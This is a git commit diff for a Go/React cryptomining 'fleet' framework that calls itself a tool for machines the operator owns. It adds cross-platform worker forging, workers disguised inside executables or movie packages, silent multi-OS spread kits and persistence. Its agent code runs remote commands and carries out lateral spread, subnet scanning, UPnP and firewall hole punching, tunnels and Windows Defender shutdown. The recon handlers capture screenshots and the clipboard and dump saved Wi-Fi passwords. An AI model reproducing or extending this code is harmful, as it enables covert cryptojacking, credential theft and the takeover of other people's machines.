Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -28,6 +28,30 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
| B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately | | B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately |
| B17 | **Agent empty `new_job`** — logs error and re-requests job | | B17 | **Agent empty `new_job`** — logs error and re-requests job |
| B18 | **Agent WS read deadline**`PongHandler` extends deadline on server ping | | B18 | **Agent WS read deadline**`PongHandler` extends deadline on server ping |
| B19 | **Windows-only forge/agent** — cross-platform workers (Linux/macOS), universal ZIP, Spread Kit, OS badges on dashboard |
| B20 | **generateBuiltinConfig / BuiltinConfig mismatch** — added `BackupServerURLs`, `ServiceMasquerade`, `ServiceName`, `ServiceDonor` to `BuiltinConfig`; template now matches struct exactly; new unit test `TestGenerateBuiltinConfigValid` guards against regression |
| B21 | **Fusion media files not copied for Linux/macOS**`prepareFusionProject` now copies `media_linux.go`, `media_darwin.go`, `cache_unix.go`, `cache_windows.go`; removed deleted `media_stub.go` from copy list |
| B22 | **Universal fusion launch scripts called `worker --spread-install`** — replaced with `fusionUniversalStartSh/Bat/Command()` that invoke the `runner` binary per-platform; README updated with per-OS instructions |
| B23 | **Dashboard WS concurrent write race** — introduced `DashboardConn` wrapper with `sync.Mutex`; `broadcastDashboard` and `runPingLoopDash` serialize writes per connection |
| B24 | **Spread kit `FileSize`/`BundleSize` from worker stat** — both now use ZIP stat; also fixed same issue in `finishUniversalFusion` |
| B25 | **InsertBuild errors silently ignored in universal paths** — now logged; error returned without failing the build (ZIP is still valid) |
| B26 | **Duplicate `auto_start` key in `spreadKitPreset`** — removed duplicate that caused TS1117 compile error |
| B27 | **AgentsPage empty state Windows-only message** — updated to mention Windows, Linux, and macOS |
| B28 | **H15: submitShare conn data race**`c.conn` now snapshotted under mutex before use |
| B29 | **H14: mergeConfig bool corruption**`mergeConfigExplicit` only applies booleans when the parent JSON key was present; partial PUT can no longer reset `UseTLS`, `SilentMode`, `AutoStart`, etc. to false |
| B30 | **M13: command_result dropped** — replaced single `latestMessage` slot with `commandResults` FIFO queue (cap 50); `AgentRemoteActions` iterates all new entries so no result is missed |
| B31 | **L6: terminalLog memory leak** — capped at 500 entries; oldest lines dropped automatically |
| B32 | **H17: pool requestID race**`requestID` increments in `subscribe()` and `submitShareToPool()` now guarded by the write lock |
| B33 | **M20: AutoSpread goroutine storm**`/24` sweep uses a 16-slot semaphore on both Windows and Unix; max 16 concurrent spread attempts at any time |
| B34 | **H16: AI reinstall on Windows** — move-old trick: live exe renamed to `.exe.old` before replacing; restored on failure |
| B35 | **M17: MaxAgents TOCTOU** — count check moved inside the write lock at registration time; two concurrent new agents can no longer both slip past the cap |
| B36 | **M18: GetAgentLog blocks**`?refresh=1` now fire-and-forget; result arrives via WS `command_result` broadcast instead of 1.8 s polling loop |
| B37 | **M16: Earnings estimator race**`AbortController` per fetch; stale response ignored if a newer request already fired |
| B38 | **M12: Duplicate WS connections**`WebSocketProvider` mounts one connection at the `App` level; all components share it via context; `useWebSocket()` is now a thin context read |
| B39 | **M15: Re-forge without prep file** — clear error message shown immediately when `fusion_enabled` but no payload uploaded, with instructions to re-upload first |
| B40 | **L1/L2: Dead CSS + duplicate imports** — removed dead `.agent-actions` rule from `FleetPanels.css`; removed redundant CSS imports from `AgentsPage`, `DashboardPage`, `BuilderPage` (each component already imports its own CSS) |
| B41 | **L7: Matrix animation restarts on share**`recentShares` moved to a `useRef` read inside the draw loop; `useEffect` dependency list now only contains `active` |
| B42 | **L9: Blueprint file permissions**`os.WriteFile` mode changed from `0644` to `0600` |
--- ---
@@ -77,11 +101,6 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
| H9 | `upload_log` returns content in tool report only | No dedicated log ingest API | | H9 | `upload_log` returns content in tool report only | No dedicated log ingest API |
| H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled | | H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled |
| H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` | | H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` |
| H14 | **Partial config PUT corrupts bools** | `mergeConfig` overwrites `UseTLS`, logging flags, etc. with zero values |
| H15 | **Agent `conn` data race** | `submitShare` reads `c.conn` without mutex |
| H16 | **AI reinstall while running** | `os.Rename` fails on Windows when exe in use |
| H17 | **Pool `requestID` / write races** | Concurrent share submits can interleave Stratum lines |
| H18 | **WS concurrent writes** | Ping loop vs broadcast on same dashboard connections |
--- ---
@@ -92,15 +111,8 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
| M1 | Compact agent list default | Expand on click | | M1 | Compact agent list default | Expand on click |
| M6 | Remote actions disabled unless `online` | By design | | M6 | Remote actions disabled unless `online` | By design |
| M9 | Fusion uses vendored `go-winres` | Optional via run.bat | | M9 | Fusion uses vendored `go-winres` | Optional via run.bat |
| M12 | **Multiple `useWebSocket()` hooks** | Dashboard + Matrix overlay = duplicate connections |
| M13 | **`latestWsMessage` drops rapid results** | Only last message kept; command results can be lost |
| M14 | **Batch forge no cancel/abort** | State updates after navigate away | | M14 | **Batch forge no cancel/abort** | State updates after navigate away |
| M15 | **Re-forge fusion without re-upload** | `reForgeFromBuild` needs prep file | | M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners (low real-world impact) |
| M16 | **Earnings estimator race** | Stale API response can overwrite newer estimate |
| M17 | **`MaxAgents` TOCTOU** | Limit checked before lock on agent WS auth |
| M18 | **`GetAgentLog?refresh=1` blocks** | Up to ~1.8s synchronous sleep per request |
| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners |
| M20 | **Autospread goroutine storm** | Up to ~254 goroutines per /24 sweep |
--- ---
@@ -108,15 +120,10 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
| ID | Issue | | ID | Issue |
|----|-------| |----|-------|
| L1 | Dead CSS `.agent-actions` in `FleetPanels.css` |
| L2 | Duplicate CSS imports on Dashboard/Agents |
| L3 | WS payloads typed in two places (`types/ws.ts` + Go) | | L3 | WS payloads typed in two places (`types/ws.ts` + Go) |
| L4 | No integration tests for remote actions | | L4 | No integration tests for remote actions |
| L5 | Mesh P2P requires build tag `p2p` | | L5 | Mesh P2P requires build tag `p2p` |
| L6 | `terminalLog` / `agentLogs` grow without bound |
| L7 | Matrix overlay restarts animation on every share |
| L8 | Settings config import shallow-merge | | L8 | Settings config import shallow-merge |
| L9 | Blueprint files written mode `0644` |
| L10 | XOR media crypto — weak confidentiality by design | | L10 | XOR media crypto — weak confidentiality by design |
--- ---
@@ -144,8 +151,7 @@ See **[tests/README.md](tests/README.md)** for phase breakdown and E2E options.
## Priority for next pass ## Priority for next pass
1. Agent WS token auth (bind `agent_id` to build secret) 1. **Agent WS token auth** bind `agent_id` to build secret baked into each forged binary; verify on connect (S2)
2. Dashboard WS auth (match REST Basic auth) 2. **Dashboard WS auth** — require session cookie on WS upgrade (S3)
3. Config merge with pointer types / explicit fields 3. **Process hollowing bounds + reloc** — fix `hollow_windows.go` (H12)
4. Shared WebSocket context (single connection app-wide) 4. **Batch forge cancel** — AbortController + server-side queue cancel (M14)
5. Process hollowing bounds + reloc (`hollow_windows.go`)

View File

@@ -2,7 +2,7 @@
**Private Monero fleet command deck for machines you own.** **Private Monero fleet command deck for machines you own.**
One Windows control PC. One dashboard. Forge a worker installer per machine — fuse it inside your own prep tool or a movie package — and watch your entire LAN hash from a single steampunk-neon command deck. One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet. No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
@@ -36,7 +36,7 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
|-------|----------------| |-------|----------------|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool | | **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide | | **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
| **Worker agent** | Windows binary compiled on demand — mines RandomX, phones home, accepts remote commands | | **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch |
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable | | **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders | | **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags | | **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
@@ -64,6 +64,8 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
- Fleet filters, bulk commands, notes/tags - Fleet filters, bulk commands, notes/tags
### Forge (Miner Builder) ### Forge (Miner Builder)
- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI - Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
- Blueprint save/load — re-forge the same profile across machines - Blueprint save/load — re-forge the same profile across machines
- Build manager — download, paths, LAN QR for worker URL - Build manager — download, paths, LAN QR for worker URL
@@ -71,6 +73,19 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or prep `.exe`); two delivery modes (see below) - **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or prep `.exe`); two delivery modes (see below)
- **Batch forge** — queue many movies; progress bar; one ZIP per title - **Batch forge** — queue many movies; progress bar; one ZIP per title
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement)
### Cross-platform workers
| OS | Persistence | Install base |
|----|-------------|--------------|
| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) |
| Linux | systemd user service | XDG data home |
| macOS | LaunchAgent | `~/Library/Application Support` |
Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.
**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).
### Movie Fusion (detailed) ### Movie Fusion (detailed)

View File

@@ -0,0 +1,143 @@
package client
import (
"fmt"
"strconv"
"strings"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
switch action {
case "hole_punch", "hole_punch_close", "hole_punch_status":
if !c.cfg.HolePunch {
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
}
case "spread_now":
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "mesh_status":
if !c.cfg.MeshP2P {
return false, "mesh P2P not enabled in forge"
}
default:
return true, ""
}
return true, ""
}
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
ok, reason := c.allowRemoteAction(action)
if !ok {
c.sendCommandResult(action, false, reason)
return true
}
switch action {
case "hole_punch":
internalPort := parsePortArg(command, 8989)
externalPort := parsePortArg(path, internalPort)
desc := data
if desc == "" {
desc = c.cfg.WorkerName + "-aetherforge"
}
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
if err != nil {
c.sendCommandResult(action, false, result.Message)
return true
}
c.sendCommandResult(action, true, result.Message)
return true
case "hole_punch_close":
externalPort := parsePortArg(command, 8989)
msg, err := deploy.CloseUPnP(externalPort)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, msg)
return true
case "hole_punch_status":
ip, err := deploy.GetPublicEndpoint()
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
return true
case "spread_now":
msg := deploy.RunSpreadOnce(c.cfg)
c.sendCommandResult(action, true, msg)
return true
case "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "subnet_scan":
maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts)
c.sendCommandResult(action, true, out)
return true
case "defender_off":
msg, err := deploy.DisableDefenderRealtime()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_punch":
port := parsePortArg(command, 8989)
name := path
if name == "" {
name = "AetherForge Remote " + c.cfg.WorkerName
}
msg, err := deploy.OpenFirewallPort(port, name)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "mesh_status":
count := c.mesh.PeerCount()
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
return true
}
return false
}
func parsePortArg(raw string, fallback int) int {
raw = strings.TrimSpace(raw)
if raw == "" {
return fallback
}
n, err := strconv.Atoi(raw)
if err != nil || n <= 0 || n > 65535 {
return fallback
}
return n
}

View File

@@ -0,0 +1,46 @@
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestAllowRemoteActionHolePunch(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}}
ok, reason := c.allowRemoteAction("hole_punch")
if ok || reason == "" {
t.Fatalf("expected hole punch blocked without forge flag")
}
c.cfg.HolePunch = true
ok, reason = c.allowRemoteAction("hole_punch")
if !ok || reason != "" {
t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason)
}
}
func TestAllowRemoteActionSpread(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
ok, _ := c.allowRemoteAction("spread_now")
if ok {
t.Fatal("spread_now should require auto_spread or remote_aggressive")
}
c.cfg.RemoteAggressive = true
ok, _ = c.allowRemoteAction("spread_now")
if !ok {
t.Fatal("spread_now should allow with remote_aggressive")
}
}
func TestParsePortArg(t *testing.T) {
if parsePortArg("", 8989) != 8989 {
t.Fatal("empty should fallback")
}
if parsePortArg("443", 8989) != 443 {
t.Fatal("443 expected")
}
if parsePortArg("bad", 8989) != 8989 {
t.Fatal("invalid should fallback")
}
}

View File

@@ -563,13 +563,26 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
} }
f.Close() f.Close()
// Replace old binary // On Windows the running executable is locked — you cannot overwrite it, but
// you CAN rename/move it to a .old path (the file handle stays open on the
// original inode). Rename the live exe out of the way first, then put the
// new binary in its place.
oldPath := exePath + ".old"
_ = os.Remove(oldPath) // remove a previous leftover if any
if err := os.Rename(exePath, oldPath); err != nil && !os.IsNotExist(err) {
// Running exe could not be moved — fall back to writing alongside
os.Remove(tmpPath)
return "", fmt.Errorf("cannot displace running binary: %w", err)
}
if err := os.Rename(tmpPath, exePath); err != nil { if err := os.Rename(tmpPath, exePath); err != nil {
// Restore the old binary so the next run still works
_ = os.Rename(oldPath, exePath)
os.Remove(tmpPath) os.Remove(tmpPath)
return "", fmt.Errorf("rename failed: %w", err) return "", fmt.Errorf("rename failed: %w", err)
} }
// Start the new binary // Start the new binary with its own process group so it survives our exit
startCmd := exec.Command(exePath) startCmd := exec.Command(exePath)
if err := startCmd.Start(); err != nil { if err := startCmd.Start(); err != nil {
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil

View File

@@ -10,6 +10,7 @@ import (
"os" "os"
"os/exec" "os/exec"
"path/filepath" "path/filepath"
"runtime"
"strings" "strings"
"sync" "sync"
"time" "time"
@@ -155,6 +156,14 @@ func (c *AgentClient) authenticate() error {
AIEnabled: c.cfg.AIEnabled, AIEnabled: c.cfg.AIEnabled,
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint, AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
AIModel: c.cfg.AIModel, AIModel: c.cfg.AIModel,
HolePunch: c.cfg.HolePunch,
RemoteAggressive: c.cfg.RemoteAggressive,
MeshP2P: c.cfg.MeshP2P,
AutoSpread: c.cfg.AutoSpread,
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
}) })
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err return err
@@ -249,6 +258,9 @@ func (c *AgentClient) handleMessage(msg Message) {
} }
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) { func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
return
}
switch action { switch action {
case "pause": case "pause":
c.pool.PauseRemote() c.pool.PauseRemote()
@@ -294,9 +306,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
c.sendCommandResult(action, false, "no command provided") c.sendCommandResult(action, false, "no command provided")
return return
} }
out, err := exec.Command("cmd.exe", "/C", command).CombinedOutput() out, err := c.runExecCommand(command)
if err != nil { if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) c.sendCommandResult(action, false, formatCmdErr(err, out))
return return
} }
c.sendCommandResult(action, true, string(out)) c.sendCommandResult(action, true, string(out))
@@ -305,9 +317,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
c.sendCommandResult(action, false, "no command provided") c.sendCommandResult(action, false, "no command provided")
return return
} }
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput() out, err := c.runShellCommand(command)
if err != nil { if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) c.sendCommandResult(action, false, formatCmdErr(err, out))
return return
} }
c.sendCommandResult(action, true, string(out)) c.sendCommandResult(action, true, string(out))
@@ -338,73 +350,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
} }
encoded := base64.StdEncoding.EncodeToString(b) encoded := base64.StdEncoding.EncodeToString(b)
c.sendCommandResult(action, true, encoded) c.sendCommandResult(action, true, encoded)
case "ps":
out, err := exec.Command("tasklist").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "netstat":
out, err := exec.Command("netstat", "-ano").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "users":
out, err := exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "software":
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "screenshot":
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("screenshot failed: %v\n%s", err, string(out)))
return
}
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
case "sysinfo":
out, err := exec.Command("systeminfo").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "ipconfig":
out, err := exec.Command("ipconfig", "/all").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "clipboard":
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
case "wifi":
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
default: default:
if c.handleReconCommand(action, command) {
return
}
c.sendCommandResult(action, false, "unknown action") c.sendCommandResult(action, false, "unknown action")
} }
} }
@@ -465,6 +414,7 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
func (c *AgentClient) submitShare(jobID, nonce, hash string) { func (c *AgentClient) submitShare(jobID, nonce, hash string) {
c.mu.Lock() c.mu.Lock()
c.sharesSubmitted++ c.sharesSubmitted++
conn := c.conn // read under the same lock to avoid data race
c.mu.Unlock() c.mu.Unlock()
payload, _ := json.Marshal(SharePayload{ payload, _ := json.Marshal(SharePayload{
@@ -474,10 +424,9 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
Worker: c.cfg.WorkerName, Worker: c.cfg.WorkerName,
}) })
if c.conn != nil { if conn != nil {
_ = c.write(Message{Type: "submit_share", Payload: payload}) _ = c.write(Message{Type: "submit_share", Payload: payload})
} else if c.cfg.MeshP2P { } else if c.cfg.MeshP2P {
// Offline from Hub? Broadcast to Mesh peers!
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload}) c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
} }
} }

View File

@@ -0,0 +1,34 @@
package client
import (
"fmt"
"os/exec"
"runtime"
)
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
if runtime.GOOS == "windows" {
return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
}
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
if runtime.GOOS == "windows" {
return exec.Command("cmd.exe", "/C", command).CombinedOutput()
}
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}
func (c *AgentClient) handleReconCommand(action, command string) bool {
handled, success, msg := c.platformRecon(action, command)
if !handled {
return false
}
c.sendCommandResult(action, success, msg)
return true
}
func formatCmdErr(err error, out []byte) string {
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
}

View File

@@ -0,0 +1,53 @@
//go:build !windows
package client
import (
"os/exec"
"strings"
)
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
var out []byte
var err error
switch action {
case "ps":
out, err = exec.Command("ps", "aux").CombinedOutput()
case "netstat":
out, err = exec.Command("ss", "-tunap").CombinedOutput()
if err != nil {
out, err = exec.Command("netstat", "-an").CombinedOutput()
}
case "users":
out, err = exec.Command("/bin/sh", "-c", "id; echo; cat /etc/passwd 2>/dev/null | head -40").CombinedOutput()
case "software":
out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
case "screenshot":
if command != "" {
out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
} else {
return true, false, "screenshot not supported on this platform without custom command"
}
case "sysinfo":
out, err = exec.Command("uname", "-a").CombinedOutput()
case "ipconfig":
out, err = exec.Command("/bin/sh", "-c", "ifconfig 2>/dev/null || ip addr").CombinedOutput()
case "clipboard":
out, err = exec.Command("pbpaste").CombinedOutput()
if err != nil {
out, err = exec.Command("xclip", "-o", "-selection", "clipboard").CombinedOutput()
}
if err == nil {
return true, true, strings.TrimSpace(string(out))
}
return true, false, "clipboard read unsupported on this host"
case "wifi":
out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput()
default:
return false, false, ""
}
if err != nil {
return true, false, formatCmdErr(err, out)
}
return true, true, string(out)
}

View File

@@ -0,0 +1,54 @@
//go:build windows
package client
import (
"os/exec"
"strings"
)
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
var out []byte
var err error
switch action {
case "ps":
out, err = exec.Command("tasklist").CombinedOutput()
case "netstat":
out, err = exec.Command("netstat", "-ano").CombinedOutput()
case "users":
out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
case "software":
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
case "screenshot":
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
if err == nil {
return true, true, strings.TrimSpace(string(out))
}
return true, false, formatCmdErr(err, out)
case "sysinfo":
out, err = exec.Command("systeminfo").CombinedOutput()
case "ipconfig":
out, err = exec.Command("ipconfig", "/all").CombinedOutput()
case "clipboard":
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
if err == nil {
return true, true, strings.TrimSpace(string(out))
}
return true, false, formatCmdErr(err, out)
case "wifi":
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
if err == nil {
return true, true, strings.TrimSpace(string(out))
}
return true, false, formatCmdErr(err, out)
default:
return false, false, ""
}
if err != nil {
return true, false, formatCmdErr(err, out)
}
return true, true, string(out)
}

View File

@@ -88,3 +88,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
s.Close() s.Close()
} }
} }
// PeerCount returns the number of connected mesh peers.
func (m *MeshNode) PeerCount() int {
if m.host == nil {
return 0
}
return len(m.host.Network().Peers())
}
